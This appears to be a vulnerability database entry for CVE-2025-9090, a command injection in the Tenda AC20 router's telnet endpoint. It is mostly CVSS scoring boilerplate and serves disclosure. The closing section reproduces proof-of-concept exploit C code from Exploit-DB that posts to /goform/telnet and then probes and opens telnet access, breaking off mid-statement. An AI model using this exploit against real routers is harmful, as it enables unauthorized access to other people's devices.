CVE-2025-9090 : Detail

CVE-2025-9090

5.3
/
Medium
Command Injection
A03-Injection
9.02%V4
Network
2025-08-17
02h02 +00:00
2025-08-18
17h46 +00:00
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CVE Descriptions

Tenda AC20 Telnet Service telnet websFormDefine command injection

A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. The manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V4.0 5.3 MEDIUM CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the “thing that is vulnerable”, which we refer to formally as the vulnerable system.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit.

Low

The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.

Attack Requirements

This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack.

None

The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.

Privileges Required

This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system.

None

The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information managed by the system due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Vulnerable System.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.

Availability Impact

This metric measures the impact to the availability of the impacted system resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.

Sub Confidentiality Impact

Negligible

There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.

Sub Integrity Impact

None

There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.

Sub Availability Impact

None

There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Threat Metrics

The Threat metrics measure the current state of exploit techniques or code availability for a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is based on the current state of exploit techniques, exploit code availability, or active, 'in-the-wild' exploitation.

Proof-of-Concept

Based on available threat intelligence each of the following must apply: Proof-of-concept exploit code is publicly available No knowledge of reported attempts to exploit this vulnerability No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability (i.e., the “Attacked” value does not apply)

Environmental Metrics

These metrics enable the consumer analyst to customize the resulting score depending on the importance of the affected IT asset to a user’s organization, measured in terms of complementary/alternative security controls in place, Confidentiality, Integrity, and Availability. The metrics are the modified equivalent of Base metrics and are assigned values based on the system placement within organizational infrastructure.

Supplemental Metrics

Supplemental metric group provides new metrics that describe and measure additional extrinsic attributes of a vulnerability. While the assessment of Supplemental metrics is provisioned by the provider, the usage and response plan of each metric within the Supplemental metric group is determined by the consumer.

V3.1 6.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Proof-of-Concept

Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems. The code or technique is not functional in all situations and may require substantial modification by a skilled attacker.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Not defined

Assigning this value indicates there is insufficient information to choose one of the other values, and has no impact on the overall Temporal Score, i.e., it has the same effect on scoring as assigning Unavailable.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Reasonable

Significant details are published, but researchers either do not have full confidence in the root cause, or do not have access to source code to fully confirm all of the interactions that may lead to the result. Reasonable confidence exists, however, that the bug is reproducible and at least one impact is able to be verified (proof-of-concept exploits may provide this). An example is a detailed write-up of research into a vulnerability with an explanation (possibly obfuscated or “left as an exercise to the reader”) that gives assurances on how to reproduce the results.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

V3.1 6.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

cna@vuldb.com
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V3.0 6.3 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

There is reduced performance or interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, 'in-the-wild' exploitation.

Proof-of-Concept

Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems. The code or technique is not functional in all situations and may require substantial modification by a skilled attacker.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Not defined

Assigning this value to the metric will not influence the score. It is a signal to a scoring equation to skip this metric.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Reasonable

Significant details are published, but researchers either do not have full confidence in the root cause, or do not have access to source code to fully confirm all of the interactions that may lead to the result. Reasonable confidence exists, however, that the bug is reproducible and at least one impact is able to be verified (proof-of-concept exploits may provide this).

Environmental Metrics

V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P/E:POC/RL:ND/RC:UR
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P cna@vuldb.com

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 52418

Publication date : 2025-08-17 22h00 +00:00
Author : Byte Reaper
EDB Verified : No

/* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-9090 * Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service. * target endpoint : /goform/telnet * place in service : http://<IP> * full format target url : http://<IP>/goform/telnet * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (Sleep + full url + libcurl function) * 3. Send POST request via CURL * 4. Measure response: HTTP code, telnet access (23), error word (not found) * 5. Determine success & finalize exploit */ #include <stdio.h> #include "argparse.h" #include <stdlib.h> #include <string.h> #include <curl/curl.h> #include <arpa/inet.h> #include <time.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <errno.h> #define MAX_RESPONSE (50 * 1024 * 1024) #define URL 2400 #define BUFFER 4500 const char *ipT = NULL; const char *cookies = NULL; int loopF = 0; int verbose = 0; int fileCookies = 0; void exit64bit() { fflush(NULL); __asm__ volatile ( "syscall\n\t" : : "A"(0x3C), "D"(0) : "rcx", "r11", "memory" ); fflush(NULL); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { if (!userdata) { return 0; } if (size && nmemb > SIZE_MAX / size) { fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n"); return 0; } size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) { fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n"); return 0; } char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exit64bit(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l) { printf("\e[0;33m[+] Clean Headers...\e[0m\n"); if (h != NULL) { curl_slist_free_all(h); } if (c != NULL) { curl_easy_cleanup(c); } printf("\e[0;33m[+] Clean CURL...\e[0m\n"); if (r != NULL) { free(r); r = NULL; l = 0; } printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n"); printf("\e[0;31m[+] Exit ....\n"); } int sleepSocket() { static int current = 2; int timeout = current; printf("\e[0;34m[+] Timeout Socket : %d\n", timeout); current++; if (current > 6) { current = 2; } return timeout; } int connectionTelnet(const char *ip) { int ports[] = { 23, 2323 }; int num_ports = sizeof(ports) / sizeof(ports[0]); for (int i = 0; i < num_ports; i++) { printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]); printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]); int s; char buffer[BUFFER]; struct sockaddr_in server; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("\e[0;31m[-] Error Create Socket !\e[0m\n"); return -1; } server.sin_addr.s_addr = inet_addr(ip); server.sin_family = AF_INET; server.sin_port = htons(ports[i]); struct timeval timeout; int value3 = sleepSocket(); timeout.tv_sec = value3; timeout.tv_usec = 0; if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)) < 0) { perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n"); exit64bit(); } printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n"); if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n"); close(s); continue; } printf("[+] Connection Success in server.\e[0m\n"); char banner[256]; int n = recv(s, banner, sizeof(banner)-1, 0); if (n > 0) { banner[n] = '\0'; printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner); } close(s); if (verbose) { printf("\e[0;33m[+] Close Socket...\e[0m\n"); } return ports[i]; } return -1; } int systemCommand(const char *ip) { pid_t pid; printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid()); pid = fork(); if (pid < 0) { fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n"); return 1; } else if (pid == 0) { int access[] = {23, 2323, 80}; int numberAccess = sizeof(access) / sizeof(access[0]); for (int a = 0; a < numberAccess ; a++) { printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid()); printf("\e[0;34m[+] sys_execve syscall...\e[0m\n"); char ipS[90]; int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip); if (checkLen(lenIp,ipS,sizeof(ipS)) == 1) { printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", lenIp); exit64bit(); } char portsA[40]; int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]); if (checkLen(lenA,portsA,sizeof(portsA)) == 1) { printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", lenA); exit64bit(); } const char *c = "/usr/bin/telnet"; char *const argv[] = { "telnet", ipS, portsA, NULL }; const char *envp[] = {NULL}; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[command], %%rdi\n\t" "mov %[v], %%rsi\n\t" "mov %[e], %%rdx\n\t" "syscall\n\t" : : [command] "r"(c), [v] "r"(argv), [e] "r" (envp) :"rax", "rdi", "rsi" , "rdx" ); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } } else { waitpid(pid, NULL, 0); printf("\e[0;36m[+] Child process finished.\e[0m\n"); } return 0; } void endPoint(const char *ip) { CURL *curl = curl_easy_init(); struct Mem response ; response.buffer = NULL; response.len = 0; struct curl_slist *headers = NULL; if (response.buffer == NULL && response.len == 0) { if (verbose) { printf("\e[0;35m==============================\e[0m\n"); printf("\e[0;34m[+] Clean Response...\e[0m\n"); printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n"); printf("\e[0;34m[+] Response len is 0.\e[0m\n"); printf("\e[0;34m[+] Clean Success.\e[0m\n"); printf("\e[0;35m==============================\e[0m\n"); } } else if (response.buffer != NULL && response.len != 0) { if (verbose) { printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n"); printf("\e[0;31m[-] Clean Failed.\e[0m\n"); } } if (!curl) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exit64bit(); } CURLcode code; if (curl) { char full[URL]; int len = snprintf(full, URL, "http://%s/goform/telnet",ip); if (checkLen(len,full,URL) == 1) { printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } printf("\e[0;34m[+] Write Success IP in FULL url.\n"); printf("\e[0;32m[+] Len Full url : %d\n", len); printf("\e[0;37m[+] Target IP Address : %s\n", ip); printf("\e[0;37m[+] FULL URL : %s\n", full); if (verbose) { printf("\e[0;37m[+] Check Range IP ...\n"); } struct in_addr inaddr; if (inet_aton(ip, &inaddr)) { printf("\e[0;36m[+] The address '%s' is valid.\n", ip); } else { printf("\e[0;31m[-] The address '%s' Not valid.\n", ip); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (fileCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); uint64_t raxValue; raxValue = 0xE6; if (verbose) { if (raxValue == 0xE6) { printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue); } else { printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue); cleanObject(curl, headers, response.buffer, response.len); exit64bit(); } } struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long reg_r10 asm("r10"); reg_r10 = 0; printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(raxValue), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(reg_r10) : "rcx", "r11", "memory" ); printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret); if (ret == -1) { if (errno == EINTR) { printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); } else { perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n"); } } else { printf("\e[0;34m[+] SLeep Success.\e[0m\n"); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, ""); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); code = curl_easy_perform(curl); long http_code = 0; if (code == 